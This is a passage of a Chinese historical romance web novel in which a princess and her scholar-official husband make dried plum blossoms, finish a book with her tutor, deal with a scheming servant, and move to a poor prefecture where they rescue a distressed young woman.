在李意清的注视下，元辞章取出生石灰、草木灰和粉状木炭混合均匀，在木盒底下铺了一层，而后小心翼翼将干净无水的梅花枝桠放在了粉末之上，随后将剩余灰粉盖在花瓣。
“此法我在医术古籍上看见过，冬日干燥，只需要两三日功夫，”元辞章盖上木盖，转身对李意清道，“好在，一旦干花做成，外貌和鲜活时相差无几，最长可保存两三年之久。”
李意清本有些遗憾，听到两三年时瞪大了眼睛：“两三日换两三年，不亏，等得。”
元辞章在旁轻笑了一声。
茴香几人在旁边好奇地围观，听到元辞章的讲解，立刻转头去找许三：“这些东西都不难寻，我们改日也一道做干花。”
许三笑着答应。
李意清对两人时不时的嘀咕声见怪不怪，托腮看了一会儿木盒，转头问元辞章，“那还有比两三年时间更久的吗？”
元辞章道：“想要保全其形，或有他法，只是我所读书卷有限，现在还不知道。”
既然元辞章都不知道，那看来确实没什么更好的方式了。
李意清有些可惜，时光易逝，落花无情，那些美好的事物，总是像镜中花，水中月。
她像是感叹，又像是惋惜，“如果有什么方法，能让花永远存在就好了，十年，二十年，一百年，两百年，也许后世，有人能看一看这前朝的花，该是何等震撼。”
说完，她又有些好笑地摇了摇头。
跨越时光，怎么听都像是痴人说梦。
99. 意为不染【糖】
三日之后，梅花如期从木盒中取出，比起盛开在枝头时的灵动鲜活，干花显得脆弱几分。
花瓣薄如蝉翼，失去了水分的滋养，仿佛一触就碎。
李意清看着元辞章小心翼翼放入琉璃瓶中，才敢隔着屏障触摸。
一旁的毓心见到茴香跃跃欲试的模样，主动道：“殿下，由奴婢将这琉璃瓶和信件送去驿站吧。”
李意清还没有看够，可是一想到早一些送过去，柳夕年便能早一日看见梅花，便忍痛点了点头。
毓心抱着琉璃瓶和信件离开，茴香朝李意清眨了眨眼睛，也飞快地追了上去。
“毓心，你等等我，今日午后或许有雪，我帮你撑伞。”
毓心回头看了她一眼，小声说了句什么，茴香连连点头，两人消失在门框中。
有毓心在，李意清没什么不放心的。她有些意犹未尽地看着剩下的生石灰和草木灰，拿来一个竹罐装了起来。
元辞章嗓音清冷：“我以为你会再折一朵梅花。”
李意清将竹罐放在桌角，转头看向元辞章，笑着道：“是啊，我原先是想再折一枝梅花的。”
元辞章：“那为什么？”
李意清想了想，“嗯……或许是因为今日晴雪，我想看红梅绽放枝头，还有，我不想你见到我辣手摧花的模样。”
后面这句话，她说得有些俏皮，语气轻松。
元辞章用拳头抵住唇边，轻咳一声。
却怎么也掩盖不住眼底无奈笑意。
她看着元辞章的模样，手指勾起自己披在身前的长发绕指旋转，声音轻盈道：“元辞章，你愿意为我摘花吗？”
前朝文人环佩玉珏，头顶簪缨，配花游街，掷果盈车。
李意清无端想到了状元郎策马游街，花落如雨，探花连夜作诗，称自叹弗如。
她现在的样子像极了话本中挑逗赶考书生的狐妖，言谈之中率性青涩，却最是撩人。
元辞章喉结滚动，几乎要移不开眼。
“自然愿意。”
李意清嘴角绽开笑容，笑声如银铃，笑了一会儿，忽然意识到不对劲——
元辞章正在关门关窗。
窗外白雪皑皑，关上窗户后，房间暗了两个度。
李意清看着靠近的元辞章，忽然生出几分不安。
“你做什么……”
元辞章的呼吸落在李意清的耳廓，声音低哑。
“殿下惑我。”
“胡说……”
……
屋内温暖如春，炭火烧得噼啪作响，李意清的呜咽声被室内的炭火声掩盖。
不知过了多久，她才渐渐回过神。
这还是在白天！
还是在书房！
元辞章垂着眼眸，帮李意清系好细细的带子。
李意清越想越气，伸出雪白的脚朝着元辞章小腿踹去，“都说状元克己复礼，怎么这点克制力都没有。”
“那都是旁人说的，和我无关。”
元辞章不闪不躲，继续帮李意清收拾。
李意清本还打算编书，谁知道元辞章突然来了这么一遭，腰酸背痛，连抬手的力气都没有，便默许他帮忙拾掇。
最后一件外衫穿好，李意清窝软榻上，懒洋洋地指挥元辞章。
“我不能编书，你得负责。这篇经学考剩下的，你帮我作注。”
元辞章没有犹豫，立刻顺着李意清的进度往下写。
等一篇写完，他转头看向身旁的李意清。
她已经趴在一旁睡着了。
元辞章没有再往后写，这一篇李意清已经完成大半，他做个收尾尚可，若是自己贸然提笔往后续写，李意清必然会将功劳算作两人共有。
可实际上，这字字句句，都是李意清一笔一划的心血。
他虽然有意与李意清共称千古，可是留芳不必一书。以他的才能，这并不难。
他站起身，取下旁边衣架上的斗篷搭在李意清的身上，将窗户开了半扇。
屋内点着炭火，须开窗换气。
他的分寸把握的刚好，不至于闷着，也不至于冷着。
李意清迷迷糊糊睁眼，便是正在看书的元辞章。
她就着趴在桌边的姿势伸手去够元辞章的衣袖，头靠在元辞章的肩膀，声音带着未睡醒的困意：
“你在看什么？”
元辞章：“黔西南送来的一本古籍，反正在家也是闲着，帮大学士修书。”
李意清点头，走到对面坐下，看见元辞章只写了一篇，微微有些意外。
她没有再多想其他，冬日里的墨即便在点着炭火的室内也干得很快，她伸手磨着墨，用银耳匙舀了一小勺清水添进去。
浅淡的墨色缓慢变得浓稠，直至可供书写。
*
今年的皇宫并无年宴，元家和孟家的相继陨落，京城之中人人自危。
李意清乐得清闲，过了上元节，如期回到书院继续编书。
周太傅除夕夜在家中摔了一跤，虽然石阶不高，可是周太傅年迈，在床上躺了整整一个月才下得来床。
李意清和元辞章看望过两三次，周太傅坐在床上，脸色苍白嘴巴倔强：
“不算什么大事，都是你们师娘过分忧心。我这副身子骨，少说还能撑个八年十年。”
周夫人对着周太傅的脑袋狠狠一敲，而后略带歉意道：“意清，辞章，他老糊涂了，郎中说这身伤少说要静养一个月。”
李意清看着周太傅捂着脑门的模样，保证道：“师娘放心，太傅腿伤要紧。”
和元辞章离开后，李意清去了城中最好的一家木坊，订了一架木质轮椅。
直至三月，周太傅回到书院。
编书的工作临近尾声，周太傅看着李意清的手稿，眼底漫上一抹满意。
他将手稿放在一旁，看着李意清认真而专注的模样，出声道：“……你们，可知道去哪上任？”
李意清小声“唔”了一声，手上的动作没有丝毫的减慢。
“昨日结果已经出来了，是舒州。其实早在大年初一我就去宫中见了父皇，父皇也透了底。”
所以这个结局，算不上难以接受。
周太傅诧异：“舒州，竟然不是庆州？”
“边陲动乱，听说庞大学士那边举荐了和州知州程子敖，说他堪当大任。”
周太傅虽然远离朝堂，却不代表看不清这朝中局势，立刻低骂一句“一丘之貉”。
李意清没有听清：“太傅，你说什么？”
周太傅摇了摇头：“庆州好也不好，好在能建功立业，不好在刀剑无眼。舒州虽然穷苦些，但也算是个不错之地。”
李意清也是这样想的。
她将最后
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一页纸递给周太傅，“太傅，最后一卷已经完成。您看看还有什么地方需要修改？”
她一边说着，一边用手搓着自己的手腕，活动僵硬的手指。
周太傅接过最后一页纸，和前面约莫半寸高的纸张放在一起，抖落整齐后，细致地一页页看起来。
等他看完，他干枯的手指压在最上面。
“不错。这是你第一本自己完成的书，署名……李意清？”周太傅念念有词，目光锁定在李意清的身上，“东汉班昭续《汉书》而得字惠班，东晋才女谢道韫字令姜，虽然当世不兴女子取字，可你足以当得。”
李意清一时间没有反应过来。
周太傅道：“老夫不才，帮殿下取一个字可好？”
李意清：“先生请说。”
“清者，意为纯净不染。”
至清者无浊，若是叫做无浊，取意相近，搭配意清，也算妥当。
周太傅在心中默念一遍，又觉得这两个字有些过于刚硬，怕是会引得李意清不喜。
他嘴唇翕动，又自己摇了摇头，“我此生一共只取了三个人的字，一个是我年少时就带在身边的学生，另一个是你的皇兄，你的字，且容我再想上几日，再想上几日。”
李意清：“先生，不着急。”
“怎么不急，过些日子，就要送去书局印刷，”周太傅瞪她一眼，“你且等着，等我确定最终的结果，便传书告你，祭拜孔庙先师，求陛下下旨晓谕京城。”
“先生，应当不用这么麻烦吧。”
“怎么不用，此为起始，于你，于天下女子。”
周太傅做好决定，不再征询李意清的意见，开始忙活自己的事情。
李意清看着他包得厚厚的腿，什么也没有再说。
回到公主府的时候，京城迎来第一场春雨，淅淅沥沥地滴落在青瓦的屋檐上，顺着曲形的瓦片滑落下来。
元辞章今日当值还没有回来，从户部远赴舒州，不少要事都要交接，今日怕是要忙到半夜才能回来。
李意清站在门口，回首看着落在地面上的雨水，吩咐身边的小厮去给驸马送一把伞。
吩咐完，她转身走进了公主府的长廊。
长廊上层层叠叠的蔓叶将雨水遮挡大半，只剩下少许水珠顺着叶片之间的缝隙滴落。
正堂中，毓心一脸严肃地给沈林把着脉。
沈林像是在公主府中水土不服一般，隔三岔五受些或轻或重的伤。
二皇子和原先的伤新旧累积，好不容易到了除夕左右能下地正常行走，可是好巧不巧，一脚踩空，掉入几丈深的枯井，好在已经荒废，里面并没水源，他被人救起后，发了高烧。
前来禀告的府上下人神色古怪：“殿下，公主府后院西南角几乎都没什么人去，沈林居然会摔在那里，您不觉得奇怪吗？”
当时的李意清正在忙着手头上的事情，听到下人的话，神色平静道：“沈林来自渔村，难免好奇心过重，以后派人多盯着一些。”
随后，沈林在府上养病的这段时日，或是踩到雪堆摔倒，或是被门挤压撞到，一连半年，几乎都在床上度过。
公主府的嬷嬷们都在私底下讨论过，沈林还能坚持多久，才会向李意清请辞。
李意清多多少少也都听说过这些传言，她看见新增一块纱布包裹的沈林，熟稔地问：“又怎么了？”
100. 初入舒州
毓心实话实说：“这次比较特殊，被竹叶青咬了。殿下，好生奇怪，按理说现在还没到惊蛰，怎么会有蛇类出没，还是在公主府出现。”
李意清看了一眼篓子中被打死的蛇尸，看向坐在位置上垂眸委屈的沈林：“在哪遇到的？”
沈林抿着唇：“我……奴才哪里都没去，一直乖乖听着殿下的吩咐，安心在屋中养伤。”
在房中被咬的。
现在这个季节，在外面遇到一只都难，何况是层层包围的公主府。
有人故意送来的。
李意清不怎么费力地就确定了背后主谋，她叹了一声，她明白二皇子的顾虑，可是现在确实不是意气用事的阶段。
沈林的伤口一片淤紫，清洗后两颗牙印清晰可见。
知道是什么蛇咬伤，治起来不算难，只是沈林的身体本就疲弱，不知道能不能挺过去。
沈林绝不能被放走，哪怕死在公主府，也不能消失得无影无踪。
李意清深知这一点，她视线对上犹如小狗眼的沈林，声音温和：“让你留在公主府，或许是我一意孤行了。你可知道府上有人说你和公主府八字犯冲，留不长……”
“不。”沈林的声音中带上了几分倔强，“殿下，我哪里都不去。”
李意清不置可否地笑了笑。
“过些日子我或许就会外出，到时候你留在京城？”
沈林急切道：“你去多久？”
“大概三年。”
“我也要去，殿下，姐姐，带上我吧。”
他的声音放得十分低哑，带着几分害怕被抛弃的茫然无助。
李意清依旧温温柔柔，像是在为他考虑：“可是你的身体，实在不宜远行。你若是害怕无人庇护，我举荐你去太子府。太子仁善，太子妃宽厚，不会委屈你。”
沈林沉默了片刻，一字一句道：“姐姐，若不能跟在你的身边，我情愿那天死在海上。”
李意清有些诧异地看着他，而后温和地笑：“别多想，好好养伤。”
她转身离开了院子。
茴香实在受不住那压抑的气氛，紧跟在李意清的身后追了出来，“殿下，沈林被蛇咬后，吵着要来正堂，说即便是死，也要见您最后一面。”
李意清点了下头，示意自己知晓了。
“等毓心抓好药，给沈林换一处住所。”
沈林隔三岔五的伤是李意清默许的，若是沈林一切正常，必然开始在府上展开行动，而阻挡他最轻便省事的选项，就是让他出不了门。
可是二皇子觉得这样的小打小闹不够解气，居然暗自送了一条毒蛇入府。
茴香看着李意清的神色，有些不安。
“殿下，你怎么，怎么突然这么严肃？”
李意清摇了摇头，笑着伸手在她肉嘟嘟的脸上捏了一把，“傻茴香，这些事情什么时候需要你操心了。”
茴香：“殿下！你就欺负我吧。”
李意清却觉得茴香脸上的手感愈来愈好，许三时不时给茴香买烧肘子和叫花鸡各种小食，把茴香喂的圆润不少。
脸上有了肉感，却不过分丰腴，正正好的触感。
李意清爱不释手，直到茴香苦哈哈嘟着脸，满眼怨气地看着自己，才欲盖弥彰轻咳一声，松开自己的手。
*
四月初，元辞章和李意清准备动身前望舒州赴任。
此行在外为官，出行所需银钱有朝廷的公使钱报销，不过舒州贫苦，人带多了反而诸多不便。
留谁看守公主府，就成了一个问题。
此去舒州，和江宁府不同。江宁府之行是负罪下的无奈之举，而舒州则是元辞章的赴任之地，两者性质截然不同。
因此，公主府需要留人维系门楣，处理京城事物。
许账房主动领了公主府管事一职，他言谈中多是劝慰：“反正我已经年迈，出门也不太方便，不如帮公子和殿下看顾院子，若是京城有什么事情，也能传递消息。”
元辞章微微颔首，同意了许账房的请求。
许三躲在元辞章的背后，红了眼眶，还没等叫嚷出来，许账房就朝他瞪了一眼，多是严厉。
许三只好将眼中的泪意重新逼了回去。
李意清和元辞章一辆马车，毓心、茴香、洛石和许三一辆马车，简单看了一圈没什么落下的东西，便启程了。
上了马车没一会儿，李意清一阵困意上涌，窝在元辞章的怀里入梦。
前天她去完书院，周太傅问她以后有什么打算，李意清思考了半响，缓缓道：“睡觉。”
周太傅被气得鼻子一歪，指着她半响说不出话。
李意清很委屈。
她是真的困极了，连续半年左右卯时就起，每天晚上沾了枕头就能睡，她只是想睡觉，她有什么错。
故而即便现在已经清闲下来，她也忍不住抓紧时间再多睡一会儿。
春天的空气中带着各种花卉盛开的香气，元辞章动作轻柔地将马车上的竹帘卷起，一抹春日里的暖阳倾泻而下，暖洋洋地落在李意清的手腕上。
这样的暖阳，李意清并不讨厌，她头朝背光的一侧靠拢，而身体沐浴在阳光之下。
元辞章感受着怀里毛绒绒移动的脑袋，手有一下没一下地拍着李意清的背，像是安抚小孩子一般。
*
进入舒州地界，已经是四月底。
大风吹起一阵翠浪的麦浪，蜻蜓在麦穗间穿梭，李意清坐了半个月的马车，见到山影与近处的麦浪重合，立刻被吸引了注意力，主动走下马车，步行在乡间小路之上。
此去舒州府城，需要穿过望江村和刘家村两个村子，而后一路朝西，就能进入府城地界。
李意清随手采下一根路边的野草，抽出细长的白色茎叶，轻轻吮吸其中甘甜的汁液。
她一路边走边采摘一些野草野花，路边一簇簇的长着蓝色的小花，四片花瓣，星星点点遍布在绿色的草丛中，显得尤为清新。
李意清捻了一朵红色的莓果，心中正感慨这惬意而舒展的田园画卷，却忽然看着小路上出现一个奔跑的身影。
离得远，只能囫囵看出蓝色的衣裙，随着风吹飘浮。
约莫半炷香的时间，来人走到近前。
是一个模样清秀的女子。
女子看见李意清的身影，想也没想就跪在地上，声音娇软，带着哭腔：“救救我，救救我。”
她一边说，一边回首朝后面的张望，像是在躲避什么人。
李意清看着她凌乱的头发丝，询问
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道：“怎么了？”
女子惊恐地摇着头，只一个劲地哭，一句话也说不出。
李意清只好停下了赶路的步伐，让毓心端来一杯水。
女子警惕地看着那一杯水，迟迟没有其他动作。
女子虽然衣裳褴褛，却不难看出其容貌清丽，身上的云丝裳也并非等闲俗物，看上去是一个落难的官家小姐。
李意清走到元辞章的身边，“最近有哪个州闹灾？”
元辞章沉默着摇头。
边境不稳，可是影响不到江南。
大约是家中遇到了事。
李意清看着女子草木皆兵的模样，试探着靠近她，“姑娘，你身后没有人，不用害怕。”
女子闻言，往后看了一眼，忽然悲从中来，放声嚎啕大哭。
她哭得急促，一口气没喘上来，抽噎着晕了过去。
李意清让人抬上了马车。
元辞章主动和毓心和茴香换了位置，坐到后面一架马车上去。
一行人紧赶慢赶，趁在月落之前赶到了舒州府衙。
舒州府衙年久失修，院墙高高低低挂满了牵牛花藤，说好听些是古朴典雅，说难听点就是有些简陋，无人打理。
元辞章提起衣袂，走下马车，右手夹着长翅帽。
在马车上，他已经换回了红色的官服，站定后，将长翅帽戴在头上，微微负手而立，自成一派风景。
李意清站在他的身边，默默等候前来迎接的师爷。
约莫过了一刻钟，才有人着急忙慌地从府衙外赶到。
是夜，府衙外。
赶来的同知衣冠不整，身后跟着两个衙役，像是刚从那个秦楼楚馆赶到，满身浓重的脂粉味。
看见元辞章的身影，同知富态的脸上挤出一抹笑：“原来是新上任的元知州，下官刘文钊，是这舒州的同知。知州大人若是有什么想知道的，尽管问就是。”
他一边说着，一边朝元辞章微微行礼。
元辞章微还半礼，轻声道：“有劳。”
刘同知笑眯眯地看着他的举动，而后一拍脑门，像是想起了什么一般，“下官失职，忘记事先告诉知州大人，府衙年久失修，后院现在住不得人。”
他说着抱歉的词，可是言辞和举止中丝毫没有歉意。
这是官场上常见的“下马威”，新官初来乍到，总是会被自诩前辈的官员刁难一番，挫挫锐气。
舒州其他人不知道元辞章的来历，可身为知州副手的刘文钊却是一定知晓的，上任文书白纸黑字，他既然知道元辞章的来历还敢这么嚣张，无非是仗着自己在舒州“地头蛇”的威风，以及上头安抚使的授意。
李意清能想到的，元辞章自然能想到。
他安抚地握着李意清的手，目光落在刘文钊的身上，嗓音清冷：“那这些日子，我们暂住客栈就是。”
刘文钊在一旁笑眯眯地点头。
元辞章看着他打转的眼睛，忽然道：“你既然说舒州府衙年久失修，不知道何时才能够住人？”
“这可说不好，知州大人有所不知，舒州每年赋税尚且不够支出，年年还需要朝廷拨款，哪有闲钱可以哪来做修理府衙这种小事。”
刘文钊的眼睛咕噜噜一转，一看就没存好心。
101. 来运客栈
刘文钊像年画戏文中黄鼠狼给鸡拜年里的黄鼠狼一样，伸手揉搓着自己的衣角。
“若是知府大人能自己掏这个钱，也能住上府衙。知府大人家中应该不缺这些钱财吧？”
元辞章没有理会凑近的刘文钊，转身对李意清道：“既然府衙住不了人，明日我便去找人牙问问附近可有空院子供租赁。”
李意清眼角余光看见刘文钊仿佛吃了苍蝇一样的脸色，莞尔一笑：“好啊。”
刘文钊：“呵呵，呵呵。外头的院子再好看，说出去，哪有住在府衙后院舒坦……”
“这就不劳刘同知费心了，”元辞章声音淡淡，“大庆官员卯正四刻当值，今日的接风洗尘宴，我就不去了。还请同知帮忙转告一声，明早务必准时。”
刘同知：“……知府，可是百花楼已经设下宴。您要不再考虑一番？”
元辞章说完，不再理会刘文钊，朝他略显敷衍地抱拳，转身离开了舒州府衙。
他们说走就走，毫不留恋，自然也没看见身后刘同知攥紧的拳头。
舒州府城虽然不大，但府城和下属的县镇加在一起也有差不多二十多万的人口，府城为繁华之最，自然不缺供人落脚的客栈。
几人很快就找到一家还亮着灯笼的客栈。
元辞章和李意清进去后，先点了一些饭食，在等菜的空档，洛石去将姑娘搬上客栈，许三将马牵去喂草。
昏睡的姑娘被人移动，很快就惊醒过来，还没有完全睁开眼，手就已经开始挥舞起来。
“离我远些！滚！滚啊！”
姑娘看着斯斯文文，骂起来也翻来覆去只会这两个词。
看她犹如应激一般的反应，李意清不敢伸手直接触碰她，只在旁边小声劝慰：
“姑娘，此地没有坏人，不知道姑娘家住在哪里，我们说不定能送你回去。”
用手当住脑门的姑娘动作一僵，她动作迟缓地放下胳膊，小心翼翼地环顾四周。
李意清看她紧绷地神色，声音温和道：“此处是舒州来运客栈，你知道这里吗？”
他们坐在厢房中，身边几个人衣裳干净，看着并不是恶人。
“知道。”姑娘迟疑了一下，轻轻点头。
她看着李意清，眼眶发红，像是随时有可能流出眼泪。
“我叫做高雁卉，是舒州府学，高学正的幺女。各位恩公，能否送我回高家？”
李意清看着她平静下来，能条理清晰地说出自己的姓名和来历，放心了不少。
高雁卉：“高家就在府城，绕过三七街，往里走就是。”
李意清朝着洛石点点头，语气温和道：“自然，你现在还没有回去，想来高学正在家已经急坏了。洛石，你送这位高小姐一趟。”
洛石飞快点了一下头，朝高小姐道：“走吧。”
高雁卉看着几人淡然自若的神色，仍然有些不敢相信自己就这么轻松地获救了。
她欲言又止地看向李意清的方向，自然地，看见坐在李意清身旁的元辞章。
高雁卉忽然一句话卡在了喉咙间，呆呆滞滞，说不出话。
她很快收敛了自己的情绪，只敢偷摸着打量坐在烛光下犹如谪仙一般的元辞章。
高雁卉从未见过这般容貌绝艳之人。
她眼角余光落在元辞章身上，嘴上的话却还是朝着李意清说：
“多谢恩人救命，今日之事不便多言。还请恩公留下姓名，日后小女子报恩，也不至于无处可寻。”
李意清轻轻摇头，声音温柔：“不必，举手之劳，何足挂齿。”
她说的洒脱。
在李意清的视角，她像是深藏功与名的侠客，救无助少女于水火之间。
高雁卉紧紧抿着下唇，有些倔强地不肯移动。
她固执道：“恩公若是不说，我便要死皮赖脸跟在恩公身后，当牛做马，在所不辞。”
李意清：“……”
她有些无助地看向元辞章。
元辞章接收到李意清的视线，这才抬眸给了高雁卉一个视线，嗓音清冷低醇：“同在舒州，自会再见，夜深露重，不宜过晚，姑娘还请早些回去。”
高雁卉愣愣地听着元辞章的话语，心中却在推测两人的关系。
兄妹，姐弟，看起来一点都不像。
两人眼神交谈亲密，看来是夫妻无疑。
她的心忽然开始作痛，想起自己这几日的遭遇，忽然悲从中来。
有人能折下长空皓月，她却险些被拖入泥潭，何其不公。
高雁卉按捺住自己内心的苦涩，朝着元辞章颤着娇软的声线道：“小女子知晓了。”
说完，她不再久留，乖巧地跟在洛石身后出了门。
几人都没将这件小事放在心上，等到洛石送完人回来，众人都默契地不再提及此事。
李意清喝了一碗菜梗疙瘩汤，里面放了一勺芫荽醋汁，入口香气浓烈怪异，原先李意清有些吃不习惯，两三勺下肚后，渐渐品出滋味，吃了一个肚圆。
毓心在旁边看着李意清一勺接着一勺，嘴角带着笑。
原先在路上的时候，只能就着热水吃些干粮，只能在途径驿站稍作休整，吃进去几口新鲜热乎的蔬菜。
这下好了，到了府城，每日上街采买，日日都能有新鲜吃食。
饮食完毕，几人各自回了客栈。
连日奔波，不宜运动，元辞章轻柔地将李意清搂在自己的怀中，一条胳膊垫在李意清的脑后，另一条轻搭在她的身上。
李意清沾上枕头就睡的毛病没有丝毫改善，她小小地打了一个哈欠，转头面朝着元辞章，正对着他的喉结。
夜色浓重，李意清看不清元辞章的表情，只能根据他呼吸的频率来推测元辞章是否入睡。
“元辞章……”
“嗯？”
“明日你要去府衙认人，我去找院子吧。说说看，你有没有偏好的？比如临水，栽树，或者几进几出，大小几何，离府衙多远？”
“随你。”
“嗯？那坐北朝南之类？”
“也随你。”
李意清的困意忽然消散了几分，她忍不住伸手描摹元辞章的眉骨，“元辞章，你怎么这么好说话，什么要求都没有。”
元辞章嗓音低沉：“也不是。”
李意清：“嗯？”
元辞章语气认真：“得有你。”
李意清忍不住笑了。她有些惋惜这过于浓厚的夜色。
真想看看元辞章的神色啊。
元辞章：“笑什么？”
李意清平复下来，收回伸出被窝的手，躺了一会儿，困意上涌，安然入梦。
*
第二天一早，李意清和元辞章同时醒来。
寅时六刻，窗外尚且一片漆黑，堂中需要点上蜡烛，才能看得清东西陈设。
李意清就着灰暗的烛火沾了牙粉，洗漱干净后换上一身衣裳。
另一边，换好官服的元辞章也收拾妥当，看见李意清迷蒙着双眼，还坚
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持早起陪他用饭，无奈失笑。
客栈掌柜看见元辞章一身官袍，一双眼睛像是要从眼眶里瞪出来，直到身边伙计捅了捅他的胳膊，他才略有些迟钝地反应过来，
“大人，昨夜灰暗，小的有眼不识泰山。不知道有什么可以效劳？”
元辞章：“有早食吗？”
客栈掌柜连连点头：“自然自然，大人稍等。”
他说完，拉着伙计的胳膊就钻进了后厨，紧随其后传来一阵锅碗瓢盆的响动。
一旁的毓心和茴香看见元辞章主动收拾座椅，手中无事可干，小声打着哈欠听候吩咐。
等了一会儿，小二将三碗阳春面端了上来。
大堂内没有点烛火照明，好在天边的鱼肚白洒下的微光足够让人看清碗中的事物。
阳春面洁白如雪，上面点缀着少许葱青葱白，晃动的面汤中，影影约约能看清零碎的油花。
小二将三碗阳春面放下后，掀起汗巾擦了擦额头，笑呵呵道：“还有三碗，很快。要是不够吃，再招呼一声就是。”
小二说完，转身离开了。
元辞章端了一碗面条放在李意清的身边，又让茴香和毓心坐下，将剩下两碗拿去先吃。
毓心本想推辞，见店小二又端了过来，便不再多说，拿着面坐在另一边坐下了。
阳春面面条劲道，恰到好处的葱油香气四溢，暖洋洋的一碗汤下肚，满身的困乏消散大半。
李意清一口接着一口，一碗面见底。
元辞章已经吃完，见李意清碗中空空，低声问：“可还要用些？”
李意清脸色微红，摇了摇头。
许三立刻举起手，“我还要一碗，公子。”
元辞章：“自己去。”
“自己去就自己去，”许三小声嘀咕一声，伸手撞了撞洛石的肩头，“你要不要？”
洛石喝完最后一口面汤，气定神闲：“我就不用了。”
许三也不在意，端着空碗就走到了后厨。
元辞章看着许三的背影，微微陷入沉默。
李意清看出他似乎有些忧心，问：“怎么了？”
元辞章：“许三虽然做事看着不着调，但在许账房身边耳濡目染多年，有他作陪，找院子一事会方便不少。”
李意清“唔”了一声，摇头拒绝：“今日你初次上任，身边人应该带在身边，让他们认认脸。”
元辞章：“可……”
“没什么，别担心。”李意清朝他点头。
元辞章不再多言。
许三端着一碗热气腾腾的面出来后，看见众人视线全都落在他的身上，心底忍不住直发毛。
他小声干咳两声，小狗护食一般捧着自己的碗，“都看着我做什么，我问了，你们说的不用的。”
元辞章简直没眼看。
他用帕子擦干净自己的双手，抬高声音问道：“你可吃好了？”
“吃好了吃好了，”许三狼吞虎咽将面汤一饮而尽，砸吧砸吧嘴巴看向元辞章，“公子，我们走吧。”
李意清送他到门口。一顿饭的功夫，天色渐亮，东方浅淡的鱼肚白被一抹红色的朝霞取代，空气中弥漫着湿润的气息。
街巷上的早市摊前开始陆陆续续多了不少人，热气腾腾的蒸笼后面，对话简单而温馨。
李意清转头看向元辞章，笑容清丽：“若是找到了院子，我会让洛石去府衙门前等你。路上小心。”
元辞章颔首，“你也是，路上小心。”
102. 进士及第
元辞章离开后，李意清在客栈周围转悠了一圈。
舒州地处偏僻，西南群山环抱，唯一连通外界的路在西北处，一路上看到的村庄如是。
柳树依依，李意清一路顺着人流，走到人最多的一处集市。
集市上，不少天不亮就从周边村镇赶来的农户和猎户，肩上挑着担，里面装着新鲜的时令蔬菜，抑或新猎的兽。
一个上午，李意清就看见了十多只野山鸡，和几只肥嘟嘟的灰毛兔子。
更有甚者，肩头扛着一头膘肥体壮的鹿，步子雄赳赳气昂昂，看到的人即便不买，也会忍不住口中溢出几声惊叹。
鹿的全身都是宝，鹿角可用来泡酒，鹿皮可剥下制成皮草，鹿肉更是滋补，能在春末夏初吃上一口鲜香爽辣的炙鹿肉，那可是不可多得的快事！
壮汉的鹿肉被一个富贵人家的老爷全部买去，整头一共三十两，当场轻点完毕后，壮汉将三十两仔细收好，在一众艳羡的目光中离开了集市。
李意清在壮汉身上看到的却不止将猎物换成银钱的喜悦，还有一种害怕钱财被夺走的紧张与害怕。
壮汉离开后，集市重新恢复了热闹。
后来集市上又出现了两只个头不小的野猪，一番讨价还价后，也顺利卖了出去。
李意清对腥膻的野猪肉不感兴趣，却一个大娘的念叨声中买下一只肥壮的兔子。
大娘看李意清一副十指不沾阳春水的模样，磨刀霍霍，“姑娘别怕，你若是不会处理这兔子，我帮你屠了便是。”
一边说着，一边伸手掐住兔子的脑袋。
李意清有些不敢看这一幕，转过身去，只见茴香和洛石眼巴巴地朝着大娘那边张望，口中小声道：
“殿下，听说这种野兔用热油煎炸，倒入酱汁烹饪，肉质细腻，十分好吃，我还没吃过呢。”
洛石附和地点头。
李意清失语期间，大娘已经将兔子处理干净，先用一张晒干的荷叶包起，又在外头裹上一张油纸。
洛石自觉地拎起兔子，跟在李意清的身后，“殿下，那边还有不少买吃食的，不再看看吗？”
李意清心中记挂着还要找院子这件事，闻言摇了摇头。
三人穿过热闹的集市，走到了一处连片的商铺。
铺子鳞次栉比，卖香料的，卖布匹的，卖字画的……熙熙攘攘，挤在一条狭窄的过道中。
李意清边走边看，直到一家铺子匾额空空，幡旗招招，里面坐店的主人头顶一个圆帽，抱着胳膊打盹。
可算找到经济行了。
经济行和牙行相似，做着相同的营生，可牙行一般处在小巷子深处，经济行则更加显眼。
不过经济行里的人气却少，因为相同的一桩生意，牙行便宜，都在一条街道上过日子的人，自然晓得牙行所在。
因此，能在牙行解决的事情，不会拖到经济行里瞧。
李意清不同，她出来乍到，自然不可能花费大把时间走街串巷。经济行虽然在办事价钱上不够精细，但是服务也算周到有保障。
几乎是在三人走进铺面的一瞬间，打盹的老板立刻转醒。
他上下打量李意清一圈，眼底浸着笑：“这位姑娘，可有什么难处？”
李意清开门见山，“不知道经济可知道府城哪里有出售的院子？租赁也成？”
院子，这可是笔大生意。
老板立刻坐直了身子，精神抖擞道：“姑娘请坐。姑娘来我这儿问，可算是问对人了，整个府城，就没人比我这儿更齐全。不知道姑娘想要个什么样的院子？”
李意清心中估摸着一行人的吃穿住行，“三进三出，前院朝阳，府城中心，大道通畅。”
老板摸着自己稀稀疏疏的几根胡须。
李意清：“难办？”
“这倒不是，”老板摇头，心中快速盘过一圈，有了底，“姑娘想找的房子，我倒是知道三处，其中有一户，更是曾经的进士及第宅居，后来洪老爷入朝当官，去年将家中老人接去京城，宅院空了下来。姑娘现在可有空？我带您去瞧上一瞧？”
正合李意清的心意。
李意清点了下头。
经济行的老板从后堂揪出一个十五六岁大小的小伙子坐在堂中，语气严肃地叮嘱道：“我不在店里这段时日，你好生看顾着铺子，若是怠慢了客人，没你好果子。”
被揪来的小伙子一脸的不服气，他伸手反抗着老板拧在他耳朵上的手，语气欠打：“爹，你这经济行，一天到晚连只苍蝇都见不着。你好歹也是秀才，照我说，不如回望江村种上几亩地，也不必在这儿喝西北风。”
老板“嘿”了一声，一个暴栗敲在了小伙的头顶。
嘟囔的小伙子这才看见铺子里站着的李意清等人，撇了撇嘴，没再拆亲爹的台，老老实实坐在了原先老板打瞌睡的位置。
老板找来看店的人后，引着他们一路走去，声音惭愧：“犬子让几位见笑了。”
李意清微微摇头。
做经济这一行，嘴皮顺溜，可更重要的，就是看人眼色行事的本事。
老板看出李意清不是喜欢攀谈的性子，连习惯性的寒暄都没有说，只管吭着头带路。
几人在府城中穿梭，算是从城西走到了城东，才看见老板口吻之中颇为推崇的“进士及第宅院”。
老板：“便是此地了。这处宅子风水极好，宅院朝阳，左邻右舍离得也近，有个什么事，也好互相帮衬。”
李意清一面听老板的介绍，一边抬眸看向这座备受推崇的宅院。
平心而论，这座宅院位置好，与府城大道相接。
